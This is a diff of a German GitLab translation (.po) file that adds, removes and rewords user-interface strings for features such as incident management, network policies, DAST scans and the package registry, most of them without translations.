+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr "Abgelaufen"
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr "Gehe zu %{link_to_google_takeout}."
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr "Die Pipeline-Minuten der Gruppe wurden erfolgreich zurückgesetzt."
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr "Gruppe benötigt ein separates Konto"
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr "Freigabe eines Projekts innerhalb %{group} mit anderen Gruppen verhindern"
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr "Informationen über den Systemzustand können von folgenden Endpunkten e
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr "Zugriffstoken ist"
@@ -12341,6 +12639,9 @@ msgstr "Problematisch"
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr "Hilfe"
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,14 +13123,14 @@ msgstr "Verbessere Merge-Requests und den Kundensupport mit GitLab Enterprise Ed
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
-msgstr "Verbessere die Suche mit der „Erweiterten globalen Suche“ und GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
+msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
-msgstr "Um die Analyse auf Instanzebene zu aktivieren, bitte eine(n) Administrator(in), den %{usage_ping_link_start}Nutzungsbericht%{usage_ping_link_end} zu aktivieren."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
+msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
msgstr ""
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr "In Bearbeitung"
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr "Im nächsten Schritt kannst du die Projekte auswählen, die du importieren möchtest."
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr "Gibt an, ob dieser Runner Jobs ohne Tags auswählen kann"
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,8 +13353,8 @@ msgstr[1] "Instanzen"
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
-msgstr "Sichtbarkeit der Instanzstatistiken"
+msgid "Instance Statistics"
+msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr "Intervallmuster"
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr "Ticket"
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr "Ticketboards"
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr "Tickets"
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr "Transition-ID(s)"
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,8 +14217,8 @@ msgstr "Labels können Tickets und Merge-Requests hinzugefügt werden, um diese
msgid "Labels can be applied to issues and merge requests."
msgstr "Labels können auf Tickets und Merge-Requests angewendet werden."
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
-msgstr "<span>Label</span> %{labelTitle} <span>zu Gruppenlabel hochstufen?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
+msgstr ""
msgid "Labels|Promote Label"
msgstr "Label hochstufen"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
-msgstr "Derzeit gibt es in diesem Projekt keine genehmigten oder gesperrte Lizenzen."
+msgid "LicenseCompliance|There are currently no policies in this project."
+msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr "Lizenzen"
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr "Liste deine Gitea-Repositories auf"
msgid "List available repositories"
msgstr "Verfügbare Repositories auflisten"
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr "Live-Vorschau"
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,8 +14788,8 @@ msgstr "Sperrung nicht gefunden"
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
-msgstr "%{issuableDisplayName} sperren? Es werden nur noch <strong>Projektmitglieder</strong> kommentieren können."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
+msgstr ""
msgid "Lock to current projects"
msgstr "Auf aktuelle Projekte beschränken"
@@ -14454,6 +14839,12 @@ msgstr "MD5"
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr "Genehmigt von"
msgid "MRApprovals|Approvers"
msgstr "Genehmigungsberechtigte"
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr "Manifestdateiimport"
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr "Maven-Metadaten"
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr "Mitglieder"
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr "Merge-Requests"
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr "Merge_Request erstellt"
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr "Metriken"
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr "Sieh dir die CI/CD-Dokumentation zur Bereitstellung in einer Umgebung an"
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr "Metrik erstellen"
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr "Panel erweitern"
msgid "Metrics|For grouping similar metrics"
msgstr "Zum Gruppieren ähnlicher Metriken"
-msgid "Metrics|Go back (Esc)"
-msgstr "Zurück (Esc)"
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr "Muss eine gültige PromQL-Abfrage sein."
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr "Prometheus Query-Dokumentation"
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr "Y-Achsen-Bezeichnung"
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr "Meilensteinlisten ist mit deiner momentanen Lizenz nicht verfügbar"
msgid "Milestone lists show all issues from the selected milestone."
msgstr "Meilensteinlisten zeigen alle Tickets des ausgewählten Meilensteins an."
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr "Ãœberwachung"
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr "Monate"
@@ -15811,12 +16268,45 @@ msgstr "Netzwerk"
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr "Niemals"
@@ -16296,12 +16849,18 @@ msgstr "Kein Repository"
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr "Keine Runner gefunden"
msgid "No schedules"
msgstr "Keine Zeitpläne"
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr "November"
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr "OK"
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr "Nur Administrator(inn)en"
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr "Nur Projektmitglieder können kommentieren."
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr "Offen"
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr "Ausgehende Anfragen"
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr "Paketinformationen"
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr "npm Befehl kopieren"
msgid "PackageRegistry|Copy npm setup command"
msgstr "npm Setup-Befehl kopieren"
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
